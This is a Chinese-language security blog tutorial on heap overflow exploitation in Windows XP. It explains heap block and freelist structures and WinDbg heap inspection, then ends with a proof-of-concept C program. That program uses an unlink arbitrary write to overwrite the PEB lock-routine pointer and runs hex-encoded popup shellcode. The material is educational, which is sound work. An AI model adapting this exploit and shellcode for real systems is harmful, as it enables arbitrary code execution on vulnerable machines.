heap overflow

0x00前言

接上文《缓冲区溢出保护及绕过等等》,来看另外一种溢出方式:堆溢出.相对于栈溢出来说,稍微麻烦一点 本文算是一个笔记,技术有限,难免有纰漏之处,欢迎诸君斧正.

0x01基础知识

一.堆的结构

堆为程序运行时主动申请的内存,通常称为堆区,操作堆的api从UserMode来看有:

1

例如malloc申请一块内存会先调用HeapCreate()为自己创建一块堆区. 堆区由不同大小的堆块组成,由堆表来索引所有堆块.

2

堆块由块首和块身构成,块首占8字节,由块大小和块计算单位和是否占用等信息,块身紧跟在块首,在提到一个块大小的时候,要加上块首大小.如请求分配32字节,实际会分配40字节.我们来看一下堆块的结构:

3

0:000> dt _HEAP_ENTRY
 ntdll!_HEAP_ENTRY
+0x000 Size : Uint2B // 堆块的大小(以堆粒度为单位, 含块首) 
+0x002 PreviousSize : Uint2B // 前一堆块的大小
+0x000 SubSegmentCode : Ptr32 Void +0x004 SmallTagIndex : UChar 
+0x005 Flags : UChar // 表示堆块的状态 
 Flags: 
 0x01 堆块正在被程序或者堆管理器使用 
 0x04 堆块使用了填充模式(File Pattern) 
 0x08 堆块是直接从虚拟内存管理器中分配而来的 
 0x10 堆块是未提交范围之前的最后一个堆块
+0x006 UnusedBytes : UChar // 堆块中未被用户使用的字节数(含块首) +0x007 SegmentIndex : UChar // 代表的堆块状态

堆表分为空表和快表,索引所有空闲态堆块,空表是一个双向链表,索引的每一个堆块有前向指针(flink)和后向指针(blink),每个指针占四字节,在空闲态时两个指针存放在块身,占用态时块身将全部用来存放数据. 占用态块身:

4

二:堆表的结构

空表(freelist)和快表(lookaside)都有128条记录,空表又有零号空表和普通空表之说. 零号空表(freelist[0])索引所有大于1024字节的堆块,升序排列.普通空表(freelist[1])索引大小为8的堆块,freelist[2]索引16字节,依次递增.直到freelist[127]索引大小为1016字节的堆块.

5

快表为单向链表,索引的堆块均有占用态标记,不会发生堆块合并,每条记录只有4个节点,优先分配优先链入.

6

三:堆块操作

1.堆块分配和释放 假如有如下指令:

...
HLOACL test;
HANDLE hp;
hp =HeapCreate(0,0x1000,0x100000);
test=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
...

HeapAlloc请求分配16字节,加上块首8字节,实际则为24字节,除以8,定位到要分配的记录.如freelist[3]. 假如24字节大小的堆块不存在于堆表记录索引中,会从大于24字节的记录里找到最小的一条记录分配,假如从freelist[5]分配(40字节),会划分出24字节返回给程序使用,该堆块块首设置为占用态,另外的16字节装载到相应的空闲链表,并重新分配块首.

7

如图,A节点拆卸后,会在Blink指向的地址处写入Flink,假如我们能控制这两个指针的值,就获得了一次任意地址写入4字节的机会.

2.堆块合并 空闲并相邻的堆块会进行合并,避免内存碎片. (1)释放一个堆块后,堆管理器会检查相邻堆块是否空闲 (2)假如空闲就合并成一个大堆块 (3)将大堆块设为空闲态 (4)更新空闲列表

0x02堆调试

code:

//build:VC++6.0
//os:windows xp sp3
//download: ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/
#include <windows.h>
int main(){
 char shellcode[]="\x90";
 HLOCAL h1=0,h2=0;
 HANDLE hp;
 hp=HeapCreate(0,0x8000,0x10000);
 __asm int 3
 h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);

//memcpy(h1,shellcode,0x200);
 h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
 HeapFree(hp,0,h1);
 HeapFree(hp,0,h2);
 return 0;
}

如上代码,假如注释掉__asm int 3直接载入调试器,堆管理器会检测到处于调试状态,而是用调试态的堆管理策略,我们这里用int 3中断,int 3执行会触发一个异常,程序暂停,在这之前已经创建了堆区,分配了堆块,这时我们用调试器attach进程,就可以看到真实的堆了. windbg、Immunity Debugger执行!peb都可以看到堆的结构.或者用ollydbg单击M按钮.

HeapCreate创建大小为0x8000的堆

8

windbg !heap -stat

0:001> !heap -stat
_HEAP 003c0000
 Segments 00000001
 Reserved bytes 00010000
 Committed bytes 00008000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000
_HEAP 003a0000
 Segments 00000001
 Reserved bytes 00010000
 Committed bytes 00008000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000
_HEAP 00240000
 Segments 00000001
 Reserved bytes 00010000
 Committed bytes 00006000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000
_HEAP 00140000
 Segments 00000001
 Reserved bytes 00100000
 Committed bytes 00006000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000
_HEAP 00250000
 Segments 00000001
 Reserved bytes 00010000
 Committed bytes 00003000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000
_HEAP 00380000
 Segments 00000001
 Reserved bytes 00010000
 Committed bytes 00002000
 VirtAllocBlocks 00000000
 VirtAlloc bytes 00000000

查看003c0000堆区的信息

0:001> !heap -h 003c0000
Index Address Name Debugging options enabled
 6: 003c0000 
 Segment at 003c0000 to 003d0000 (00008000 bytes committed)
 Flags: 00001002
 ForceFlags: 00000000
 Granularity: 8 bytes
 Segment Reserve: 00100000
 Segment Commit: 00002000
 DeCommit Block Thres: 00000200
 DeCommit Total Thres: 00002000
 Total Free Size: 00000c2f
 Max. Allocation Size: 7ffdefff
 Lock Variable at: 003c0608
 Next TagIndex: 0000
 Maximum TagIndex: 0000
 Tag Entries: 00000000
 PsuedoTag Entries: 00000000
 Virtual Alloc List: 003c0050
 UCR FreeList: 003c0598
 FreeList Usage: 00000000 00000000 00000000 00000000
 FreeList[ 00 ] at 003c0178: 003c1e90 . 003c1e90 (1 block )
 Heap entries for Segment00 in Heap 003c0000
 003c0640: 00640 . 00040 [01] - busy (40)
 003c0680: 00040 . 01808 [01] - busy (1800)
 003c1e88: 01808 . 06178 [10]
 003c8000: 00008000 - uncommitted bytes.

看到freelist[0]指向003c0178

9

除了freelist[0]之外,所有的索引都指向自身,代表当前空闲链表为空. 003c0178指向尾块003c1e90

10

当完全覆盖掉当前缓冲区到时候,就会溢出到相邻的堆块,覆盖相邻堆块的块首和Flink、Blink

11

精心构造Flink 和Blink即可实现控制程序执行流程、代码执行等目的 有兴趣的话可以用跟踪一下,观察堆块分配时堆表的变化.

0x03溢出实例

覆盖Flink Blink程序再次申请堆块时触发异常,调用所有异常处理函数,假如无法处理,系统调用默认的异常处理,弹出错误对话框,调用ExitProcess(). ExitProcess有同步线程的动作,这个动作由RtlEnterCriticalSection()和RtlLeaveCriticalSection()来完成.这两个函数我们称为临界区函数.跟信号量和锁类似,临界区是一种轻量级机制,在某一时间内,只能由一个线程来执行某个代码段.

调用这两个临界区函数会先从PEB的0x20、0x24偏移处寻找函数指针.我们现在需要做的就是覆盖这两个位置的指针. 在windbg中执行!peb即可看到peb的位置.

0:000> !peb
PEB at 7ffdf000
 InheritedAddressSpace: No
 ReadImageFileExecOptions: No
 BeingDebugged: Yes
 ImageBaseAddress: 00400000
 Ldr 00241e90
 Ldr.Initialized: Yes
 Ldr.InInitializationOrderModuleList: 00241f28 . 00241fd0
 Ldr.InLoadOrderModuleList: 00241ec0 . 00241fc0
 Ldr.InMemoryOrderModuleList: 00241ec8 . 00241fc8
----------------------
typedef struct _PEB
{
 UCHAR InheritedAddressSpace; // 00h
 UCHAR ReadImageFileExecOptions; // 01h
 UCHAR BeingDebugged; // 02h
 UCHAR Spare; // 03h
 PVOID Mutant; // 04h
 PVOID ImageBaseAddress; // 08h
 PPEB_LDR_DATA Ldr; // 0Ch
 PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
 PVOID SubSystemData; // 14h
 PVOID ProcessHeap; // 18h
 PVOID FastPebLock; // 1Ch
 PPEBLOCKROUTINE FastPebLockRoutine; // 20h
 PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
} PEB, *PPEB;

Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址,Peb->FastPebUnlockRoutine为RtlLeaveCriticalSection()地址,既0x20偏移、0x24偏移. ps:在xp sp1之前,PEB的位置是固定的,sp2基址浮动,2003没有FastPebLockRoutine和FastPebUnlockRoutine. 因为shellcode也会调用ExitProcess,所以会shellcode会反复执行,应该在shellcode的头部恢复覆盖掉的值. 0day书中的代码:

#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90" // nop
"\x90\x90\x90\x90\x90" // nop
 // repaire the pointer which shooted by heap shooting
"\xb8\x20\xf0\xfd\x7f" // mov eax,7ffdf020
"\xbb\x03\x91\xf8\x77" // mov ebx,77F89103 this addr may related to OS patch version
"\x89\x18" // mov dword ptr ds:[eax],ebx
 // 168 bytes popwindow shellcode
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00" // 块首的8字节
"\x88\x06\x52\x00\x20\xf0\xfd\x7f"; // Flink+Blink,Blink为0x7ffdf020,Flink为00520688


int main()
{
 HLOCAL h1=0,h2=0;
 HANDLE hp=HeapCreate(0,0x1000,0x10000);
 //print_shellcode();return 0;
 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
 memcpy(h1,shellcode,0x200);
 //_asm int 3;
 h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
 return 0;
}

Flink的值需要在调试时确定,指向shellcode起始位置

0x04参考

<<\shellcoder编程揭秘>>

<<0day安全软件漏洞分析技术>>

<<暗战亮剑-软件漏洞发掘与安全防范实战>>

<<深入理解计算机系统>>

感谢四书作者的无私奉献. 未完待续.

 

*作者:pr0mise  Mottoin小编整理发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/reverse/87277.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code